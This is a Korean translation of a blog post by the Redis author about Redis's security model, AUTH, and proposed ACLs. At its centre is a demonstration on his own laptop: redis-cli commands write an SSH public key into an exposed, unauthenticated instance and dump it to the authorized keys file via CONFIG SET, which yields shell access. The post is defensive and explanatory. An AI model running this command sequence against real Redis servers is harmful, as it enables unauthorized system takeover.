Redis 보안에 대한 몇 가지 이야기
원문은 Salvatore Sanfilippo님이 에 게재했습니다. 이 블로그 구독하기
중요 수정: Redis 3.2에서는 protected mode가 도입되어 보안이 개선되었습니다. 자세한 내용은 여기에서 확인할 수 있습니다: https://www.reddit.com/r/redis/comments/3zv85m/new_security_feature_redis_protected_mode/
가끔 Redis에 대한 보안 제보를 받는다. 제보를 받는 것 자체는 좋은 일이지만, 외부에 노출되면 완전히 안전하지 않도록 설계된 소프트웨어(보안 페이지 http://redis.io/topics/security에서 설명한 바와 같이)에 대해 Lua 샌드박스 탈출, 안전하지 않은 임시 파일 생성 같은 문제를 제보받는 건 좀 이상하게 느껴진다.
그럼에도 이런 버그 제보는 종종 유용하다. 어떤 소프트웨어든, 특히 Redis의 경우 보안 수준이 여러 단계로 나뉘기 때문이다. 데이터베이스에 접근했을 때 할 수 있는 일이 데이터베이스 내용 자체를 수정하는 것에 그치는지, 아니면 Redis가 동작하는 로컬 시스템 자체를 장악하는 데까지 이를 수 있는지의 차이 말이다.
시스템에서 특정 보안 계층이 얼마나 중요한지는 그 시스템의 보안 모델에 달려 있다. 웹 서버처럼 신뢰할 수 없는 사용자의 접근을 전제로 설계된 시스템인가? 사용자 종류에 따라 권한 수준을 다르게 두는가?
Redis의 보안 모델은 “신뢰할 수 없는 클라이언트가 시스템에 접근하도록 두는 것은 매우 위험하니, 외부로부터는 직접 보호하라”는 것이다. 기본적으로 Redis 사용 사례의 99.99%가 샌드박스 환경 안에서 이루어지기 때문이다. 보안은 복잡하다. 보안 기능을 추가하면 복잡성이 커진다. 0.01%의 사용 사례를 위해 복잡성을 더하는 건 그다지 바람직하지 않다. 물론 이는 설계 철학의 문제이니 동의하지 않을 수도 있다.
문제는 보안 페이지에 뭐라고 쓰든, 의도치 않게 인터넷에 노출된 Redis 인스턴스가 아주 많다는 점이다. 외부 클라이언트의 접근이 필요한 사용 사례 때문이 아니라, 방화벽 설정, AUTH 활성화, 로컬 클라이언트만 접근한다면 127.0.0.1에 바인딩하는 등의 방법으로 외부 접근으로부터 보호하려는 수고를 아무도 하지 않았기 때문이다.
재미로 Redis를 해킹해 보자, 어차피 이걸 만든 건 나니 얻을 이익은 전혀 없다
Redis의 “보안 모델”을 가혹하게 보여주기 위해 5분짜리 짧은 실험을 했다. 보안 페이지에서는 Redis가 노출됐을 때 발생할 수 있는 심각한 문제를 암시한다. 이렇게 쓰여 있다: “하지만 CONFIG 명령으로 서버 설정을 제어할 수 있게 되면 클라이언트는 프로그램의 작업 디렉터리와 덤프 파일 이름을 바꿀 수 있다. 이를 통해 클라이언트는 임의의 경로에 RDB Redis 파일을 쓸 수 있으며, 이는 쉽게 Redis를 실행하는 사용자와 동일한 권한으로 신뢰할 수 없는 코드를 실행할 수 있게 만드는 보안 문제다.”
그래서 내 실험은 다음과 같았다. 현재 설정을 그대로 둔 채 MacBook Air에서 Redis 인스턴스를 실행한다. 그리고 다른 호스트에서 내 노트북을 장악하는 것이 목표다.
우선 전제 조건인 인스턴스 접근이 가능한지부터 확인해 보자:
$ telnet 192.168.1.11 6379 Trying 192.168.1.11... Connected to 192.168.1.11. Escape character is '^]'. echo "Hey no AUTH required!" $21 Hey no AUTH required! quit +OK Connection closed by foreign host.
접속된다, 그리고 AUTH도 필요 없다. Redis는 비밀번호가 설정되지 않은 채 무방비 상태다. 이런 경우 할 수 있는 가장 간단한 일은 임의의 파일을 쓰는 것이다. 그런데 마침 내 MacBook Air에서는 SSH 서버가 돌고 있다. ~/ssh/authorized_keys에 무언가를 써서 접근을 시도해 보면 어떨까?
새 SSH 키를 생성해 보자:
$ ssh-keygen -t rsa -C "[email protected]" Generating public/private rsa key pair. Enter file in which to save the key (/home/antirez/.ssh/id_rsa): ./id_rsa Enter passphrase (empty for no passphrase): Enter same passphrase again: Your identification has been saved in ./id_rsa. Your public key has been saved in ./id_rsa.pub. The key fingerprint is: f0:a1:52:e9:0d:5f:e4:d9:35:33:73:43:b4:c8:b9:27 [email protected] The key's randomart image is: +--[ RSA 2048]----+ | . O+.| | . o o..o*o| | = . + .+ . | | o B o . | | . o S E . | | . o | | | | | | | +-----------------+
이제 키가 생겼다. 목표는 이 키를 Redis 서버 메모리에 넣은 뒤, 최종적으로 생성되는 authorized_keys 파일이 여전히 유효한 파일이 되도록 파일로 옮기는 것이다. RDB 형식을 이용해 이렇게 하면 출력이 바이너리이고 이론상 문자열을 압축할 수도 있다는 문제가 있다. 하지만 뭐, 아마 문제는 없을 것이다. 먼저 생성한 공개 SSH 키의 앞뒤에 개행을 추가해 패딩해 보자:
$ (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > foo.txt
이제 foo.txt는 개행이 추가된 공개 키일 뿐이다. 이 문자열을 redis-cli를 이용해 Redis 메모리에 쓸 수 있다:
~~~~~~~~~~~~~~~~~~~
참고: 다음 단계는 스크립트 키디들이 공격을 그대로 복사해 붙여 넣는 것을 방지하기 위해 사소한 부분에서 수정되었다. 이 공격이 공개된 이후 전 세계적으로 여러 Redis 인스턴스가 실제로 공격을 당했기 때문이다.
~~~~~~~~~~~~~~~~~~~
$ redis-cli -h 192.168.1.11 192.168.1.11:6379> config set dbfilename "backup.rdb" OK 192.168.1.11:6379> save OK (Ctrl+C) $ redis-cli -h 192.168.1.11 echo flushall $ cat foo.txt | redis-cli -h 192.168.1.11 -x set crackit
좋아 보인다. 메모리 내용을 authorized_keys 파일로 덤프하는 방법은? 아주 간단하다.
$ redis-cli -h 192.168.1.11 192.168.1.11:6379> config set dir /Users/antirez/.ssh/ OK 192.168.1.11:6379> config get dir 1) "dir" 2) "/Users/antirez/.ssh" 192.168.1.11:6379> config set dbfilename "authorized.keys" OK 192.168.1.11:6379> save OK
이 시점에서 대상 authorized keys 파일은 쓰레기 값으로 가득하겠지만, 우리의 공개 키도 포함하고 있을 것이다. 문자열에 단순한 패턴이 없으니 RDB 파일 안에서 압축되었을 가능성은 낮다. ssh가 완전히 손상된 파일을 아무 문제 없이 파싱하고 그 안에 있는 유일한 정상 항목을 받아들일 만큼 순진할까?
$ ssh -i id_rsa [email protected] Enter passphrase for key 'id_rsa': Last login: Mon Nov 2 15:58:43 2015 from 192.168.1.10 ~ ➤ hostname Salvatores-MacBook-Air.local
그렇다. 나는 약 5초 만에 Redis 사용자로 제대로 된 셸과 함께 접근에 성공했다. 기본적으로 ‘원하는 파일을 써주는 서버’나 다름없는 무방비 Redis 인스턴스 덕분이며, 이번 경우에는 손상된 키로 가득한 파일임에도 단 하나의 정상 항목 때문에 접근을 거부할 만큼 보수적이지 않았던 ssh 덕분이기도 하다. 하지만 여기서 문제는 ssh가 아니다. 바이너리 쓰레기가 섞여 있더라도 일단 파일을 쓸 수 있게 되면, 어떻게든 시스템 접근 권한을 얻는 것은 시간문제다.
이 엉망진창을 어떻게 고칠까?
우리는 Redis가 노출되면 안전하지 않으며, Redis의 보안 모델은 인가되고 신뢰할 수 있는 클라이언트만 접근해야 한다는 것이라고 말한다. 하지만 유감스럽게도 이것만으로는 충분하지 않다. 사용자들은 여전히 무방비 상태로 실행할 것이고, 더 나쁜 것은 배포 실수에 대해 Redis를 더 안전하게 만드는 것과 개발용이나 제한이 필요 없는 안전한 환경에서 쓰는 사람들을 위해 Redis를 쉽게 사용할 수 있게 유지하는 것 사이에 긴장이 존재한다는 점이다.
예를 들어보자. 최신 버전의 Redis는 예제 redis.conf에서 기본값으로 “bind 127.0.0.1”을 사용한다. 서버를 인자 없이 실행하면 여전히 모든 인터페이스에 바인딩되는데, 개발용으로 Redis를 실행하는 사용자를 귀찮게 하고 싶지 않기 때문이다. 전혀 신경 쓰지 않는 사람들을 위해 약간의 보안을 얻자고 다른 호스트에서의 연결을 허용하기 위해 예제 서버를 재설정해야 하는 것은 다소 큰 대가다. 하지만 많은 사용자가 설정 템플릿으로 쓰는 예제 redis.conf는 기본적으로 localhost 인터페이스에만 바인딩되도록 되어 있다. 이를 통해 배포 실수가 조금이나마 줄어들기를 기대한다.
하지만 이 조치는 그다지 효과적이지 않다. 안타깝게도 보안에 무지한 대부분의 사용자는 127.0.0.1 바인딩 때문에 외부 클라이언트 연결이 막힌다는 것을 깨닫고는 그냥 bind 라인을 삭제하고 재시작해 버리기 때문이다. 그러면 다시 안전하지 않은 설정으로 돌아가게 된다.
기본적으로 문제는 다음 세 가지 사이에서 타협점을 찾는 것이다:
- 자신이 무엇을 하는지 아는 사람들이 불편 없이 Redis에 접근할 수 있게 만들기
- 자신이 무엇을 하는지 모르는 사람들을 위해 Redis를 덜 안전하지 않게 만들기
- RTFM이니까 “2”보다 “1”을 선호하는 내 편향
문제를 완화하기 위한 사용자 ACL
Redis를 외부로부터 “격리”한다는 개념에 중복성을 더하는 한 가지 방법은 AUTH 명령을 사용하는 것이다. 아주 단순하다. Redis가 비밀번호를 요구하도록 설정하고, 클라이언트는 설정된 비밀번호를 이용해 AUTH 명령으로 인증한다. 메커니즘은 단순하다. 비밀번호는 해시되지 않고 설정 파일과 애플리케이션 안에 평문으로 저장되므로, 일종의 공유 비밀과 같다.
TCP 연결을 스니핑하거나 애플리케이션 서버를 장악한 사람에게는 효과가 없지만, 보호되지 않은 Redis 인스턴스를 인터넷에 그대로 노출하는 명백한 실수에 대해서는 효과적인 보안 계층이다.
AUTH에 대해 몇 가지 덧붙이자면:
- Redis를 오라클로 이용해 초당 많은 비밀번호를 테스트할 수 있지만, 비밀번호는 사람이 기억할 필요가 없고 Redis 설정 파일과 클라이언트 설정 안에만 있으면 되므로, brute force가 불가능할 만큼 아주 길게 만드는 것이 좋다.
- AUTH는 연결이 생성될 때 전송되며, 대부분의 정상적인 애플리케이션은 영속적인 연결을 사용하므로 비용이 매우 적게 든다. 또한 GET이나 SET처럼 실행 속도가 매우 빠르고, 디스크나 다른 외부 시스템을 건드리지 않는다.
- 잘 샌드박스된 환경에서도 훌륭한 보호 계층이 된다. 실수로 인해 인스턴스가 인터넷이 아니더라도 원래는 통신하면 안 되는 클라이언트에 노출될 수 있기 때문이다.
아마 더 많은 보안을 확보하려면 AUTH를 발전시키는 것이 올바른 방향일 것이다. 그래서 얼마 전 Redis에 “진짜 사용자”를 추가하는 제안을 공개했다: https://github.com/redis/redis-rcp/blob/master/RCP1.md
이 제안은 기본적으로 ACL이 적용된 사용자를 추가하는 것이다. 동작 방식이나 실행 속도 면에서는 AUTH와 매우 유사하지만, 사용자마다 권한이 다르다. 예를 들어 일반 사용자는 기본적으로 관리 명령에 접근할 수 없으므로, 그들에게는 “CONFIG SET dir” 같은 명령이 허용되지 않고 위에서 본 익스플로잇 같은 문제도 발생하지 않는다.
기본 사용자는 여전히 일반 명령을 실행할 수 있으며(그래서 사람들이 보내준 Lua 샌드박싱 관련 패치를 적용한 것이 실제로 매우 유용하다), 관리 명령을 사용하려면 admin 사용자를 별도로 설정해야 한다. 다만 Redis를 더 사용자 친화적으로 만들기 위해 할 수 있는 일은, loopback 인터페이스에서 들어오는 연결이라면 비밀번호가 비어 있는 “admin” 사용자를 항상 허용하는 것이다(물론 이 기능은 비활성화할 수 있어야 한다).
ACL은 완벽하지는 않지만 분명한 장점이 있다. Redis가 SSL을 통해 프록시되는 등 올바른 방식으로 인터넷에 노출될 때, 추가적인 접근 제어 계층이 매우 유용하다. 로컬 클라이언트만 있어 SSL을 사용하지 않을 때조차, 클라이언트가 할 수 있는 일을 더 세밀하게 제어해 보호하는 것은 여러 장점이 있다. 예를 들어 프로그래밍이나 관리 실수로부터 보호할 수 있다. FLUSHALL이나 FLUSHDB를 일반 사용자에게 허용하지 않거나, Redis 모니터링 서비스용 클라이언트는 몇 가지 선택된 명령만 허용된 사용자를 쓰는 식이다.
인스턴스 보호에 신경 쓰지 않는 사용자는 여전히 외부에서 접근 가능한 데이터베이스를 갖게 되겠지만, 관리 명령은 사용할 수 없게 된다. 이는 데이터베이스 안에 들어 있는 데이터 관점에서는 여전히 안전하지 않지만, Redis 인스턴스를 실행하는 시스템 관점에서는 더 안전해진다.
기본적으로 Redis를 기본값으로 사용자 친화적으로 만들면서 동시에 공인 IP에 바인딩된 인스턴스를 띄우는 사용자의 큰 보안 실수에 강하도록 만든다는 목표를 달성하는 것은 불가능하다. 하지만 Redis 프로세스와 동일한 권한으로 신뢰할 수 없는 코드를 실행할 수 있게 하는 API 버그를 수정하고, 더 보수적인 기본 설정을 제공하며, ACL이 적용된 다중 사용자를 구현한다면, 자신이 무엇을 하는지 아는 일반 Redis 사용자의 경험에 큰 영향을 주지 않으면서도 현재 Redis 보안 상태를 개선할 수 있다.
게다가 ACL은 애플리케이션 개발자가 애플리케이션 로직의 맥락에서 특정 클라이언트의 실제 제한에 맞는 사용자를 만들 수 있게 해, 실수가 큰 문제로 이어질 가능성을 낮춘다는 장점이 있다.
이처럼 단순한 보안 계층조차 단점은 복잡성을 더한다는 것이다. 특히 리플리케이션, Redis Sentinel 및 이 새로운 맥락에서 제대로 동작하려면 모두 인증을 인식해야 하는 다른 시스템에서는 더 그렇다. 하지만 이는 점진적으로 수행해야 할 노력일 것이다.
Hacker News: https://news.ycombinator.com/item?id=10537852
Reddit: https://www.reddit.com/r/redis/comments/3rby8c/a_few_things_about_redis_security/
글을 무작위로 읽기
댓글
로그인하고 댓글 남기기